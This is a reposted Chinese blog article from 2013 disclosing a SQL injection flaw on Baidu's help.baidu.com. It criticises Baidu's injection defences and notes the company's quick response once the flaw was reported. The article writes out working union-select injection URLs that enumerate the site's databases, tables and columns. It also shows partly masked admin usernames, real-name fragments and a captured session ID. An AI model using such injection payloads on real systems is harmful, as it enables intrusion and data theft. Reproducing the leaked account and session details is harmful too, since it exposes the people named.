转自：http://blackbap.org/post/baidu_subdomain_sql_injection
算起来中央电视台已经有很久没有黑度娘了，近日小编收到投稿，说百度注入点一枚，咩哈哈，度娘啊度娘，你这是给小编一次黑你的机会啊，看我怎么低端黑变高级黑。
其实有注入点并不稀奇，即使是注入点出现在百度，也不稀奇。就在一两年前，百度某个分站还曾因为FCKeditor被拿到过webshell，虽然百度声 明这个分站疑似是外包给别的公司的，不过就在半年前，百度另外一个分站也被拿到过webshell，用的是Struts2的0day。
就在今年八月份北京Kcon V2大会上，百度的大哥哥还做了一篇演讲《互联网公司通用XSS解决方案探讨》，小编不禁好奇，百度公司的产品线除了防XSS有解决方案，是否还有防注入 呢？平心而论，百度在防XSS方面投入很大，做的也很好，但是通过这个注入点却侧方位体现出百度在SQL注入防护上面的不足。
我们来看详情。
存在注入点的域名：help.baidu.com
存在注入点域名用途：百度用户服务中心
存在注入的变量：id取值未过滤，完全没过滤
注入点本身自带循环读取数据功能，因此不需要使用group_concat()函数就能列举所有的记录。
注入点如下：
help.baidu.com/question?prod_en=collect&class=176&id=486+and+1=2+union+select+1,2,3,4,5,6,7,8,9+--+ //显示位是4和6 help.baidu.com/question?prod_en=collect&class=176&id=486+and+1=2+union+select+1,2,3,table_schema,5,table_schema,7,8,9+from+information_schema.tables+--+ //系统数据库1个，可读数据库1个(PnurYyPVPalEqEdCKoxV)，数据库名是随机生成的，很赞 help.baidu.com/question?prod_en=collect&class=176&id=486+and+1=2+union+select+1,2,3,4,5,table_name,7,8,9+from+information_schema.tables+where+table_schema=database()+--+ //数据库中的表有29个，admin_user、cms_user、session这几个表比较敏感(既然库名是随机生成的，如果表名也是随机生成的就很赞了) help.baidu.com/question?prod_en=collect&class=176&id=486+and+1=2+union+select+1,2,3,4,5,column_name,7,8,9+from+information_schema.columns+where+table_name='admin_user'+--+ //不需要16进制HEX编码使得注入会很方便 help.baidu.com/question?prod_en=collect&class=176&id=486+and+1=2+union+select+1,2,3,4,5,column_name,7,8,9+from+information_schema.columns+where+table_name='session'+--+ //session表中有3个字段:id,data,lastmodify help.baidu.com/question?prod_en=collect&class=176&id=486+and+1=2+union+select+1,2,3,4,5,column_name,7,8,9+from+information_schema.columns+where+table_name='admin_user'+--+ //admin_user表中有5个字段分别是：id,username,is_super,time,is_del，而cms_user表中有6个字段分别是id,username,username_cn,role_id,productid,time
注入点我们看完了，就来分析一下吧。
先来看一下admin_user表中的数据(注入语句不再列举)
标记为0的应该是普通账户，标记为1的应该是super账户，目测这几个账户都是普通的百度id，有几个还能在网上的社工库中查到哦，CSDN库，天涯库，多玩库，51CTO库。。。
其实最雷人的不是admin_user表哦，是cms_user表
zheng***yi:郑*谊
huang****liang:黄*亮
wang****qi:王*齐
显然这里都是实名登记入表的。这里充分印证了百度站长漏洞检测里面的一句话：“网站如果存在SQL注入、XSS跨站脚本、信息泄露等安全风险，黑客可能会利用这些漏洞导致网站被黑，给网站造成损失。” 但是很明显，百度对自己的宣传标语体会并不深刻。
按照惯例，高潮可不在这里。我们读到了session表中的数据，例如就在发布稿子的刚刚。
时间：DATE (M/D/Y @ h:m:s): 12 / 24 / 13 @ 12:06:05pm UTC+8
session id:ST5295736bcwm0XA4nah33VgdEyASuuap
session中的内容：phpCAS|a:1:{s:4:”user”;s:10:”wang****qi“;}
看内容应该是php做的后台，不是help.baidu.com下级目录的可能性比较高，处于安全考虑，后台可能仅限于内网访问。这里使用的是伪 session认证，但是百度这个表面工作做得不如搜狐，习科之前出过一份《搜狐app分站伪Session认证机制分析报告》的，里面有对伪 session进行分析。
好了，检测工作就做到这里。小编的主题开始啦：三问百度
1, 百度XSS防护做的很到位，但是希望加强SQL注入方面的防护，尤其是这样的低级错误出现是很不应该的
2, 我知道百度使用自己带盐的加速乐从各个方面看都不合适，但是既然自己有能力开发网站容器，顺便开发个类似mod_security的防护岂不是更好？
3, 吐槽一下百度站长工具，如下图，尤其注意最后一条：
通过上面的注入点可以看出，百度要想成为真正的安全标杆还有一段距离需要努力。最后我们希望百度能用优秀的平台和严谨的产品来反驳小编。
当然了，楼下的沙发板凳、数字娘、大企鹅、小松鼠，你们也不要窃喜，你们认为你们自己就真的做的就很好吗？
小编平心而论：
通过百度这个分站的注入漏洞，确实能提现出百度在安全上的很多不足的地方，但是另一方面也确实能体现出百度公司在产品开发方面有一定的水准，这具体表现在多个方面。
首先是数据库名为随机，数据库权限分配很严格，给“脱库”和“跨库”造成一定的阻力，其次是数据库不存用户密码，对平台账号做出一定的保护，包括储存在数 据库中的伪session也是实时更新的，拿到数据库中的session值如果没有后台可能做不了什么动作，另外说一句，百度的XSS防护做的真心 好，SQL注入点中不但拿不到密码，也无法通过注入点构造XSS。最后是我们向百度反馈安全问题后，响应速度在6分钟以内，让我们很吃惊。
最后：这篇文章不是黑百度，百度在小编这里的口碑还是不错的。小编只是希望借百度的漏洞对各大电商、网络巨头提个醒，希望厂商们对自己产品负责，对用户负责，不要因为飞的太快，而降低了在安全方面的投入。如果说本文是黑百度，那么大家就当做是对百度的高级黑吧。
转载请注明：jinglingshu的博客 » 百度注入漏洞的启示：如何来评定安全标杆
